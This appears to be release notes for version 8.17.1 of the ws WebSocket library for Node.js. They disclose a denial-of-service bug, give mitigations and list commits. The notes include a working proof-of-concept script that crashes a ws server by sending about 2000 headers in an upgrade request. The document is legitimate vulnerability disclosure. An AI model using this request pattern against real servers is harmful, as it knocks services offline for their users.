Sourced fromws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][]threshold could be used to crash a ws server.

consthttp=require('http');constWebSocket=require('ws');constwss=newWebSocket.Server({port:0},function(){constchars="!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');constheaders={};letcount=0;for(leti=0;i<chars.length;i++){if(count===2000)break;for(letj=0;j&lt;chars.length;j++){constkey=chars[i]+chars[j];headers[key]='x';if(++count===2000)break;}}headers.Connection='Upgrade';headers.Upgrade='websocket';headers['Sec-WebSocket-Key']='dGhlIHNhbXBsZSBub25jZQ==';headers['Sec-WebSocket-Version']='13';constrequest=http.request({headers:headers,host:'127.0.0.1',port:wss.address().port});request.end();});

The vulnerability was reported byRyan LaPointe inwebsockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the[--max-http-header-size=size][] and/or the [maxHeaderSize][] options sothat no more headers than theserver.maxHeadersCount limit can be sent.

... (truncated)

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount ofcrypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use thehighWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value ofallowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable incompare view

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